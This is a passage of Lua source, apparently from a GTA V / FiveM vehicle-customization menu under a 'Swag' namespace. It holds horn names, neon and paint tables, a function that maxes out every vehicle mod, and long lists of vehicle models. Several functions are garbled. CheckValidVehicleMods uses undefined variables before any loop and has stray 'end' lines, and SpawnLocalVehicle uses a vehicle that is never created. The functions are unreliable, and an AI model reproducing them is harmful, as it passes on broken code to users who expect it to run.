["Starspangban Horn 3"] = 30,
["Starspangban Horn 4"] = 31,
["Classical Loop 1"] = 32,
["Classical Horn 8"] = 33,
["Classical Loop 2"] = 34,
LSC.neonColors = {
["White"] = {255,255,255},
["Blue"] ={0,0,255},
["Electric Blue"] ={0,150,255},
["Mint Green"] ={50,255,155},
["Lime Green"] ={0,255,0},
["Yellow"] ={255,255,0},
["Golden Shower"] ={204,204,0},
["Orange"] ={255,128,0},
["Red"] ={255,0,0},
["Pony Pink"] ={255,102,255},
["Hot Pink"] ={255,0,255},
["Purple"] ={153,0,153},
}
LSC.paintsMatte = {
{name = "Black", id = 12},
{name = "Gray", id = 13},
{name = "Light Gray", id = 14},
{name = "Ice White", id = 131},
{name = "Blue", id = 83},
{name = "Dark Blue", id = 82},
{name = "Midnight Blue", id = 84},
{name = "Midnight Purple", id = 149},
{name = "Schafter Purple", id = 148},
{name = "Red", id = 39},
{name = "Dark Red", id = 40},
{name = "Orange", id = 41},
{name = "Yellow", id = 42},
{name = "Lime Green", id = 55},
{name = "Green", id = 128},
{name = "Forest Green", id = 151},
{name = "Foliage Green", id = 155},
{name = "Olive Darb", id = 152},
{name = "Dark Earth", id = 153},
{name = "Desert Tan", id = 154},
}
LSC.paintsMetal = {
{name = "Brushed Steel", id = 117},
{name = "Brushed Black Steel", id = 118},
{name = "Brushed Aluminum", id = 119},
{name = "Pure Gold", id = 158},
{name = "Brushed Gold", id = 159},
}
function LSC.GetHornName(index)
if (index == 0) then
return "Truck Horn"
elseif (index == 1) then
return "Cop Horn"
elseif (index == 2) then
return "Clown Horn"
elseif (index == 3) then
return "Musical Horn 1"
elseif (index == 4) then
return "Musical Horn 2"
elseif (index == 5) then
return "Musical Horn 3"
elseif (index == 6) then
return "Musical Horn 4"
elseif (index == 7) then
return "Musical Horn 5"
elseif (index == 8) then
return "Sad Trombone"
elseif (index == 9) then
return "Classical Horn 1"
elseif (index == 10) then
return "Classical Horn 2"
elseif (index == 11) then
return "Classical Horn 3"
elseif (index == 12) then
return "Classical Horn 4"
elseif (index == 13) then
return "Classical Horn 5"
elseif (index == 14) then
return "Classical Horn 6"
elseif (index == 15) then
return "Classical Horn 7"
elseif (index == 16) then
return "Scale - Do"
elseif (index == 17) then
return "Scale - Re"
elseif (index == 18) then
return "Scale - Mi"
elseif (index == 19) then
return "Scale - Fa"
elseif (index == 20) then
return "Scale - Sol"
elseif (index == 21) then
return "Scale - La"
elseif (index == 22) then
return "Scale - Ti"
elseif (index == 23) then
return "Scale - Do"
elseif (index == 24) then
return "Jazz Horn 1"
elseif (index == 25) then
return "Jazz Horn 2"
elseif (index == 26) then
return "Jazz Horn 3"
elseif (index == 27) then
return "Jazz Horn Loop"
elseif (index == 28) then
return "Star Spangled Banner 1"
elseif (index == 29) then
return "Star Spangled Banner 2"
elseif (index == 30) then
return "Star Spangled Banner 3"
elseif (index == 31) then
return "Star Spangled Banner 4"
elseif (index == 32) then
return "Classical Horn 8 Loop"
elseif (index == 33) then
return "Classical Horn 9 Loop"
elseif (index == 34) then
return "Classical Horn 10 Loop"
elseif (index == 35) then
return "Classical Horn 8"
elseif (index == 36) then
return "Classical Horn 9"
elseif (index == 37) then
return "Classical Horn 10"
elseif (index == 38) then
return "Funeral Loop"
elseif (index == 39) then
return "Funeral"
elseif (index == 40) then
return "Spooky Loop"
elseif (index == 41) then
return "Spooky"
elseif (index == 42) then
return "San Andreas Loop"
elseif (index == 43) then
return "San Andreas"
elseif (index == 44) then
return "Liberty City Loop"
elseif (index == 45) then
return "Liberty City"
elseif (index == 46) then
return "Festive 1 Loop"
elseif (index == 47) then
return "Festive 1"
elseif (index == 48) then
return "Festive 2 Loop"
elseif (index == 49) then
return "Festive 2"
elseif (index == 50) then
return "Festive 3 Loop"
elseif (index == 51) then
return "Festive 3"
else
return "Unknown Horn"
end
end
function LSC.UpdateMods()
currentMods = Swag.Game.GetVehicleProperties(Swag.Player.Vehicle)
--SetVehicleModKit(Swag.Player.Vehicle, 0)
end
function MaxOut1()
SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 14, 16, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1, false)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 18, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 19, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 20, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 21, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 22, true)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 23, 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 24, 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38) - 1, true)
SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1)
SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5)
SetVehicleNeonLightEnabled(GetVehiclePedIsIn(GetPlayerPed(-1)), 0, true)
SetVehicleNeonLightEnabled(GetVehiclePedIsIn(GetPlayerPed(-1)), 1, true)
SetVehicleNeonLightEnabled(GetVehiclePedIsIn(GetPlayerPed(-1)), 2, true)
SetVehicleNeonLightEnabled(GetVehiclePedIsIn(GetPlayerPed(-1)), 3, true)
SetVehicleNeonLightsColour(GetVehiclePedIsIn(GetPlayerPed(-1)), 222, 222,
255)
end
function LSC:CheckValidVehicleExtras()
local playerPed = PlayerPedId()
local playerVeh = GetVehiclePedIsIn(playerPed, false)
local valid = {}
for i=0,50,1 do
if(DoesExtraExist(playerVeh, i))then
local realModName = "Extra #"..tostring(i)
local text = "OFF"
if(IsVehicleExtraTurnedOn(playerVeh, i))then
text = "ON"
end
local realSpawnName = "extra "..tostring(i)
table.insert(valid, {
menuName=realModName,
data ={
["action"] = realSpawnName,
["state"] = text
}
})
end
end
return valid
end
function LSC:DoesVehicleHaveExtras(vehicle)
for i = 1, 30 do
if ( DoesExtraExist( vehicle, i ) ) then
return true
end
end
return false
end
function LSC:CheckValidVehicleMods(modID)
local playerPed = PlayerPedId()
local playerVeh = GetVehiclePedIsIn(playerPed, false)
local valid = {}
local modCount = GetNumVehicleMods(playerVeh,modID)
valid[i] = {
menuName=realModName,
data = {
["modid"] = modid,
["realIndex"] = realSpawnName
}
}
end
end
-- Handles all other mods
for i = 1, modCount, 1 do
local realIndex = i - 1
local modName = GetModTextLabel(playerVeh, modID, realIndex)
local realModName = GetLabelText(modName)
local modid, realSpawnName = modCount, realIndex
valid[i] = {
menuName=realModName,
data = {
["modid"] = modid,
["realIndex"] = realSpawnName
}
}
end
return valid
end
---------------------
-- Vehicle Class --
---------------------
local function SpawnLocalVehicle(modelName, replaceCurrent, spawnInside)
local speed = 0
local rpm = 0
if Swag.Player.IsInVehicle then
local oldVehicle = Swag.Player.Vehicle
speed = GetEntitySpeedVector(oldVehicle, true).y
rpm = GetVehicleCurrentRpm(oldVehicle)
end
if spawnInside then
SetPedIntoVehicle(PlayerPedId(), vehicle, -1)
SetVehicleEngineOn(vehicle, true, true)
end
SetVehicleForwardSpeed(vehicle, speed)
SetVehicleCurrentRpm(vehicle, rpm)
SetEntityAsNoLongerNeeded(vehicle)
SetModelAsNoLongerNeeded(modelName)
end
end
local VehicleClass = {
-- VEHICLES LISTS
compacts = {
{"BLISTA"},
{"BRIOSO", "sssa_dlc_stunt"},
{"DILETTANTE", "sssa_default", "dilettan"},
-- {"DILETTANTE2"},
{"ISSI2", "sssa_default"},
{"ISSI3", "sssa_dlc_assault"},
{"ISSI4"},
{"ISSI5"},
{"ISSI6"},
{"PANTO", "sssa_dlc_hipster"},
{"PRAIRIE", "sssa_dlc_battle"},
{"RHAPSODY", "sssa_dlc_hipster"}
},
sedans = {
{"ASEA", "sssa_dlc_business"},
{"ASEA2"},
{"ASTEROPE", "sssa_dlc_business", "astrope"},
{"COG55", "lgm_dlc_apartments"},
{"COG552", "lgm_dlc_apartments", "cog55"},
{"COGNOSCENTI", "lgm_dlc_apartments", "cognosc"},
{"COGNOSCENTI2", "lgm_dlc_apartments", "cognosc"},
{"EMPEROR"},
{"EMPEROR2"},
{"EMPEROR3"},
{"FUGITIVE", "sssa_default"},
{"GLENDALE", "sssa_dlc_hipster"},
{"INGOT", "sssa_dlc_business"},
{"INTRUDER", "sssa_dlc_business"},
{"LIMO2"},
{"PREMIER", "sssa_dlc_business"},
{"PRIMO"},
{"PRIMO2", "lsc_default"},
{"REGINA"},
{"ROMERO", "sssa_dlc_battle"},
{"SCHAFTER2", "sssa_dlc_heist"},
{"SCHAFTER5"},
{"SCHAFTER6"},
{"STAFFORD", "lgm_dlc_battle"},
{"STANIER", "sssa_dlc_business"},
{"STRATUM", "sssa_dlc_business"},
{"STRETCH", "sssa_default"},
{"SUPERD", "lgm_default"},
{"SURGE", "sssa_dlc_heist"},
{"TAILGATER"},
{"WARRENER"},
{"WASHINGTON", "sssa_dlc_business", "washingt"},
},
suvs = {
{"BALLER"},
{"BALLER2", "sssa_default"},
{"BALLER3", "lgm_dlc_apartments"},
{"BALLER4", "lgm_dlc_apartments"},
{"BALLER5"},
{"BALLER6"},
{"BJXL", "sssa_dlc_battle"},
{"CAVALCADE", "sssa_default", "cavcade"},
{"CAVALCADE2", "sssa_dlc_business", "cavcade2"},
{"CONTENDER", "sssa_dlc_mp_to_sp"},
{"DUBSTA"},
{"DUBSTA2"},
{"FQ2", "sssa_dlc_battle"},
{"GRANGER", "sssa_dlc_business"},
{"GRESLEY", "sssa_dlc_heist"},
{"HABANERO", "sssa_dlc_battle"},
{"HUNTLEY", "lgm_dlc_business2"},
{"LANDSTALKER", "sssa_dlc_heist"},
{"MESA", "candc_default"},
{"MESA2"},
{"PATRIOT", "sssa_dlc_battle"},
{"PATRIOT2", "sssa_dlc_battle"},
{"RADI", "sssa_dlc_business"},
{"ROCOTO", "sssa_default"},
{"SEMINOLE", "sssa_dlc_heist"},
{"SERRANO", "sssa_dlc_battle"},
{"TOROS", "lgm_dlc_apartments"},
{"XLS", "lgm_dlc_executive1"},
{"XLS2"},
},
coupes = {
{"COGCABRIO", "lgm_default", "cogcabri"},
{"EXEMPLAR", "sssa_default"},
{"F620", "sssa_dlc_business"},
{"FELON", "sssa_default"},
{"FELON2", "sssa_default"},
{"JACKAL", "sssa_dlc_heist"},
{"ORACLE", "sssa_default"},
{"ORACLE2"},
{"SENTINEL", "sssa_dlc_business"},
{"SENTINEL2"},
{"WINDSOR", "lgm_dlc_swage"},
{"WINDSOR2", "lgm_dlc_executive1"},
{"ZION", "sssa_default"},
{"ZION2", "sssa_default"},
},
muscle = {
{"BLADE", "sssa_dlc_heist"},
{"BUCCANEER"},
{"BUCCANEER2", "lsc_default"},
{"CHINO", "lgm_dlc_swage"},
{"CHINO2", "lsc_default"},
{"CLIQUE", "lgm_dlc_arena"},
{"COQUETTE3", "lgm_dlc_swage"},
{"DEVIANT", "lgm_dlc_apartments"},
{"DOMINATOR", "sssa_dlc_business", "dominato"},
{"DOMINATOR2", "sssa_dlc_mp_to_sp"},
{"DOMINATOR3", "sssa_dlc_assault"},
{"DOMINATOR4"},
{"DOMINATOR5"},
{"DOMINATOR6"},
{"DUKES", "candc_default"},
{"DUKES2", "candc_default"},
{"ELLIE", "sssa_dlc_assault"},
{"FACTION"},
{"FACTION2", "lsc_default"},
{"FACTION3", "lsc_lowrider"},
{"GAUNTLET", "sssa_default"},
{"GAUNTLET2", "sssa_dlc_mp_to_sp"},
{"HERMES", "sssa_dlc_xmas2017"},
{"HOTKNIFE", "lgm_default"},
{"HUSTLER", "lgm_dlc_xmas2017"},
{"IMPALER", "sssa_dlc_vinewood"},
{"IMPALER2"},
{"IMPALER3"},
{"IMPALER4"},
{"IMPERATOR"},
{"IMPERATOR2"},
{"IMPERATOR3"},
{"LURCHER", "sssa_dlc_halloween"},
{"MOONBEAM"},
{"MOONBEAM2", "lsc_default"},
{"NIGHTSHADE", "lgm_dlc_apartments", "NITESHAD"},
{"PHOENIX"},
{"PICADOR"},
{"RATLOADER"},
{"RATLOADER2"},
{"RUINER", "sssa_dlc_battle"},
{"RUINER2", "candc_importexport"},
{"RUINER3"},
{"SABREGT"},
{"SABREGT2", "lsc_lowrider2"},
{"SLAMVAN", "sssa_dlc_christmas_2"},
{"SLAMVAN2"},
{"SLAMVAN3", "lsc_lowrider2"},
{"SLAMVAN4"},
{"SLAMVAN5"},
{"SLAMVAN6"},
{"STALION", "sssa_dlc_mp_to_sp"},
{"STALION2", "sssa_dlc_mp_to_sp"},
{"TAMPA", "sssa_dlc_christmas_3"},
{"TAMPA3", "candc_gunrunning"},
{"TULIP", "sssa_dlc_arena"},
{"VAMOS", "sssa_dlc_arena"},
{"VIGERO", "sssa_default"},
{"VIRGO", "lgm_dlc_swage"},
{"VIRGO2", "lsc_lowrider"},
{"VIRGO3"},
{"VOODOO", "lsc_default"},
{"VOODOO2"},
{"YOSEMITE", "sssa_dlc_xmas2017"},
},
sportsclassics = {
{"ARDENT", "candc_gunrunning"},
{"BTYPE"},
{"BTYPE2", "sssa_dlc_halloween"},
{"BTYPE3"},
{"CASCO", "lgm_dlc_heist"},
{"CHEBUREK", "sssa_dlc_assault"},
{"CHEETAH2", "lgm_dlc_executive1"},
{"COQUETTE2", "lgm_dlc_pilot"},
{"DESWAGO", "candc_xmas2017"},
{"FAGALOA", "sssa_dlc_assault"},
{"FELTZER3", "lgm_dlc_swage"},
{"GT500", "lgm_dlc_xmas2017"},
{"INFERNUS2", "lgm_dlc_specialraces"},
{"JB700", "lgm_default"},
{"JESTER3", "lgm_dlc_apartments"},
{"MAMBA", "lgm_dlc_apartments"},
{"MANANA"},
{"MICHELLI", "sssa_dlc_assault"},
{"MONROE", "lgm_default"},
{"PEYOTE"},
{"PIGALLE"},
{"RAPIDGT3", "lgm_dlc_smuggler"},
{"RETINUE", "sssa_dlc_mp_to_sp"},
{"SAVESTRA", "lgm_dlc_xmas2017"},
{"STINGER", "lgm_default"},
{"STINGERGT", "lgm_default", "stingerg"},
{"STROMBERG", "candc_xmas2017"},
{"SWINGER", "lgm_dlc_battle"},
{"TORERO", "lgm_dlc_executive1"},
{"TORNADO"},
{"TORNADO2"},
{"TORNADO3"},
{"TORNADO4"},
{"TORNADO5", "lsc_lowrider2"},
{"TORNADO6", "sssa_dlc_biker"},
{"TURISMO2", "lgm_dlc_specialraces"},
{"VISERIS", "lgm_dlc_xmas2017"},
{"Z190", "lgm_dlc_xmas2017"},
{"ZTYPE", "lgm_default"},
},
sports = {
{"ALPHA", "lgm_dlc_business"},
{"BANSHEE", "lgm_default"},
{"BESTIAGTS", "lgm_dlc_executive1"},
{"BLISTA2", "sssa_dlc_mp_to_sp"},
{"BLISTA3", "sssa_dlc_arena"},
{"BUFFALO"},
{"BUFFALO2"},
{"BUFFALO3", "sssa_dlc_mp_to_sp"},
{"CARBONIZZARE", "lgm_default", "carboniz"},
{"COMET2", "sssa_default"},
{"COMET3", "lsc_dlc_import_export"},
{"COMET4", "lgm_dlc_xmas2017"},
{"COMET5", "lgm_dlc_xmas2017"},
{"COQUETTE", "lgm_default"},
{"ELEGY", "lsc_dlc_import_export"},
{"ELEGY2", "lgm_default"},
{"FELTZER2", "lgm_default"},
{"FLASHGT", "lgm_dlc_apartments"},
{"FUROREGT", "lgm_dlc_its_creator", "furore"},
{"FUSILADE", "sssa_dlc_business"},
{"FUTO", "sssa_dlc_battle"},
{"GB200", "lgm_dlc_apartments"},
{"HOTRING", "sssa_dlc_assault"},
{"ITALIGTO", "lgm_dlc_apartments"},
{"JESTER", "lgm_dlc_business"},
{"JESTER2", "sssa_dlc_christmas_2"},
{"KHAMELION", "lgm_default"},
{"KURUMA", "sssa_dlc_heist"},
{"KURUMA2", "sssa_dlc_heist"},
{"LYNX", "lgm_dlc_stunt"},
{"MASSACRO", "lgm_dlc_business2"},
{"MASSACRO2", "sssa_dlc_christmas_2"},
{"NEON", "lgm_dlc_xmas2017"},
{"NINEF", "lgm_default"},
{"NINEF2", "lgm_default"},
{"OMNIS", "sssa_dlc_mp_to_sp"},
{"PARIAH", "lgm_dlc_xmas2017"},
{"PENUMBRA", "sssa_dlc_business"},
{"RAIDEN", "lgm_dlc_xmas2017"},
{"RAPIDGT", "lgm_default"},
{"RAPIDGT2", "lgm_default"},
{"RAPTOR", "lgm_dlc_biker"},
{"REVOLTER", "lgm_dlc_xmas2017"},
{"RUSTON", "lgm_dlc_specialraces"},
{"SCHAFTER2"},
{"SCHAFTER3", "lgm_dlc_apartments"},
{"SCHAFTER4", "lgm_dlc_apartments"},
{"SCHAFTER5"},
{"SCHLAGEN", "lgm_dlc_apartments"},
{"SCHWARZER", "sssa_default", "schwarze"},
{"SENTINEL3", "sssa_dlc_xmas2017"},
{"SEVEN70", "lgm_dlc_executive1"},
{"SPECTER"},
{"SPECTER2", "lsc_dlc_import_export"},
{"SULTAN"},
{"SURANO", "lgm_default"},
{"TAMPA2"},
{"TROPOS"},
{"VERLIERER2", "lgm_dlc_apartments", "verlier"},
{"ZR380"},
{"ZR3802"},
{"ZR3803"},
},
super = {
{"ADDER", "lgm_default"},
{"AUTARCH", "lgm_dlc_xmas2017"},
{"BANSHEE2", "lgm_default"},
{"BULLET", "lgm_default"},
{"CHEETAH", "lgm_default"},
{"CYCLONE", "lgm_dlc_smuggler"},
{"DEVESTE", "lgm_dlc_apartments"},
{"ENTITYXF", "lgm_default"},
{"ENTITY2", "lgm_dlc_apartments"},
{"FMJ", "lgm_dlc_executive1"},
{"GP1", "lgm_dlc_specialraces"},
{"INFERNUS", "lgm_default"},
{"ITALIGTB"},
{"ITALIGTB2", "lsc_dlc_import_export"},
{"LE7B", "lgm_dlc_stunt"},
{"NERO"},
{"NERO2", "lsc_dlc_import_export"},
{"OSIRIS", "lgm_dlc_swage"},
{"PENETRATOR", "lgm_dlc_heist"},
{"PFISTER811", "lgm_dlc_executive1"},
{"PROTOTIPO", "lgm_dlc_executive1"},
{"REAPER", "lgm_dlc_executive1"},
{"SC1", "lgm_dlc_xmas2017"},
{"SCRAMJET", "candc_battle"},
{"SHEAVA", "lgm_dlc_stunt"},
{"SULTANRS", "lsc_jan2016", "sultan2"},
{"T20", "lgm_dlc_swage"},
{"TAIPAN", "lgm_dlc_apartments"},
{"TEMPESTA", "lgm_dlc_heist"},
{"TEZERACT", "lgm_dlc_apartments"},
{"TURISMOR", "lgm_dlc_business"},
{"TYRANT", "lgm_dlc_apartments"},
{"TYRUS", "lgm_dlc_stunt"},
{"VACCA", "lgm_default"},
{"VAGNER", "lgm_dlc_executive1"},
{"VIGILANTE", "candc_smuggler"},
{"VISIONE", "lgm_dlc_smuggler"},
{"VOLTIC", "lgm_default", "voltic_tless"},
{"VOLTIC2", "candc_importexport"},
{"XA21", "lgm_dlc_executive1"},
{"ZENTORNO", "lgm_dlc_business2"},
},
motorcycles = {
{"AKUMA", "sssa_default"},
{"AVARUS", "sssa_dlc_biker"},
{"BAGGER", "sssa_dlc_biker"},
{"BATI", "sssa_default"},
{"BATI2", "sssa_default"},
{"BF400", "sssa_dlc_mp_to_sp"},
{"CARBONRS", "lgm_default", "carbon"},
{"CHIMERA", "sssa_dlc_biker"},
{"CLIFFHANGER", "sssa_dlc_mp_to_sp"},
{"DAEMON"},
{"DAEMON2", "sssa_dlc_biker"},
{"DEFILER", "sssa_dlc_biker"},
{"DEATHBIKE"},
{"DEATHBIKE2"},
{"DEATHBIKE3"},
{"DIABLOUS"},
{"DIABLOUS2", "lsc_dlc_import_export"},
{"DOUBLE", "sssa_default"},
{"ENDURO", "sssa_dlc_heist"},
{"ESSKEY", "sssa_dlc_biker"},
{"FAGGIO", "sssa_default"},
{"FAGGIO2"},
{"FAGGIO3", "sssa_dlc_biker"},
{"FCR"},
{"FCR2", "lsc_dlc_import_export"},
{"GARGOYLE", "mba_vehicles"},
{"HAKUCHOU", "sssa_dlc_its_creator"},
{"HAKUCHOU2", "lgm_dlc_biker"},
{"HEXER", "sssa_default"},
{"INNOVATION", "sssa_dlc_heist"},
{"LECTRO", "lgm_dlc_heist"},
{"MANCHEZ", "sssa_dlc_biker"},
{"NEMESIS", "sssa_dlc_heist"},
{"NIGHTBLADE", "sssa_dlc_biker"},
{"OPPRESSOR", "candc_gunrunning"},
{"OPPRESSOR2", "candc_battle"},
{"PCJ", "sssa_default"},
{"RATBIKE", "sssa_dlc_biker"},
{"RUFFIAN", "sssa_default"},
{"SANCHEZ", "sssa_default"},
{"SANCHEZ2", "sssa_default"},
{"SANCTUS", "sssa_dlc_biker"},
{"SHOTARO", "lgm_dlc_biker"},
{"SOVEREIGN", "sssa_dlc_heist"},
{"THRUST", "lgm_dlc_business2"},
{"VADER", "sssa_default"},
{"VINDICATOR", "lgm_dlc_swage"},
{"VORTEX", "sssa_dlc_biker"},
{"WOLFSBANE", "sssa_dlc_biker"},
{"ZOMBIEA", "sssa_dlc_biker"},
{"ZOMBIEB", "sssa_dlc_biker"},
},
offroad = {
{"BFINJECTION", "sssa_default", "bfinject"},
{"BIFTA", "sssa_default"},
{"BLAZER", "sssa_default"},
{"BLAZER2", "candc_casinoheist"},
{"BLAZER3"},
{"BLAZER4", "sssa_dlc_biker"},
{"BLAZER5", "candc_importexport"},
{"BODHI2", "sssa_default"},
{"BRAWLER", "lgm_dlc_swage"},
{"BRUISER"},
{"BRUISER2"},
{"BRUISER3"},
{"BRUTUS"},
{"BRUTUS2"},
{"BRUTUS3"},
{"CARACARA", "sssa_dlc_vinewood"},
{"DLOADER"},
{"DUBSTA3", "candc_default"},
{"DUNE", "sssa_default"},
{"DUNE2"},
{"DUNE3", "candc_gunrunning"},
{"DUNE4"},
{"DUNE5", "candc_importexport"},
{"FREECRAWLER", "lgm_dlc_battle"},
{"INSURGENT", "candc_default"},
{"INSURGENT2", "candc_default"},
{"INSURGENT3"},
{"KALAHARI", "sssa_default"},
{"KAMACHO", "sssa_dlc_xmas2017"},
{"MARSHALL", "candc_default"},
{"MENACER", "candc_battle"},
{"MESA3", "candc_default"},
{"MONSTER", "candc_default"},
{"MONSTER3"},
{"MONSTER4"},
{"MONSTER5"},
{"NIGHTSHARK", "candc_gunrunning"},
{"RANCHERXL", "sssa_dlc_business", "rancherx"},
{"RANCHERXL2"},
{"RCBANDITO", "sssa_dlc_arena"},
{"REBEL", "sssa_default"},
{"REBEL2"},
{"RIATA", "sssa_dlc_xmas2017"},
{"SANDKING", "sssa_default"},
{"SANDKING2", "sssa_default", "sandkin2"},
{"TECHNICAL", "candc_default"},
{"TECHNICAL2", "candc_importexport"},
{"TECHNICAL3"},
{"TROPHYTRUCK"},
{"TROPHYTRUCK2"},
},
industrial = {
{"BULLDOZER"},
{"CUTTER"},
{"DUMP", "candc_default"},
{"FLATBED"},
{"GUARDIAN", "sssa_dlc_heist"},
{"HANDLER"},
{"MIXER"},
{"MIXER2"},
{"RUBBLE"},
{"TIPTRUCK"},
{"TIPTRUCK2"},
},
utility = {
{"AIRTUG"},
{"CADDY"},
{"CADDY2"},
{"CADDY3"},
{"DOCKTUG"},
{"FORKLIFT"},
{"TRACTOR2"},
{"TRACTOR3"},
{"MOWER"},
{"RIPLEY"},
{"SADLER", "sssa_default"},
{"SADLER2"},
{"SCRAP"},
{"TOWTRUCK"},
{"TOWTRUCK2"},
{"TRACTOR"},
{"UTILLITRUCK"},
{"UTILLITRUCK2"},
{"UTILLITRUCK3"},
{"ARMYTRAILER"},
{"ARMYTRAILER2"},
{"FREIGHTTRAILER"},
{"ARMYTANKER"},
{"TRAILERLARGE"},
{"DOCKTRAILER"},
{"TR3"},
{"TR2"},
{"TR4"},
{"TRFLAT"},
{"TRAILERS"},
{"TRAILERS4"},
{"TRAILERS2"},
{"TRAILERS3"},
{"TVTRAILER"},
{"TRAILERLOGS"},
{"TANKER"},
{"TANKER2"},
{"BALETRAILER"},
{"GRAINTRAILER"},
{"BOATTRAILER"},
{"RAKETRAILER"},
{"TRAILERSMALL"},
},
vans = {
{"BISON", "sssa_default"},
{"BISON2"},
{"BISON3"},
{"BOBCATXL", "sssa_dlc_business"},
{"BOXVILLE", "candc_casinoheist"},
{"BOXVILLE2"},
{"BOXVILLE3"},
{"BOXVILLE4", "candc_default"},
{"BOXVILLE5", "candc_importexport"},
{"BURRITO"},
{"BURRITO2", "candc_casinoheist"},
{"BURRITO3"},
{"BURRITO4"},
{"BURRITO5"},
{"CAMPER"},
{"GBURRITO"},
{"GBURRITO2", "sssa_dlc_heist"},
{"JOURNEY", "candc_default"},
{"MINIVAN", "sssa_dlc_business"},
{"MINIVAN2", "lsc_lowrider2"},
{"PARADISE", "sssa_default"},
{"PONY"},
{"PONY2"},
{"RUMPO", "sssa_dlc_heist"},
{"RUMPO2"},
{"RUMPO3", "sssa_dlc_executive_1"},
{"SPEEDO"},
{"SPEEDO2"},
{"SPEEDO4"},
{"SURFER"},
{"SURFER2"},
{"TACO"},
{"YOUGA"},
{"YOUGA2", "sssa_dlc_biker"},
},
cycles = {
{"BMX", "pandm_default"},
{"CRUISER", "pandm_default"},
{"FIXTER"},
{"SCORCHER", "pandm_default"},
{"TRIBIKE", "pandm_default"},
{"TRIBIKE2", "pandm_default"},
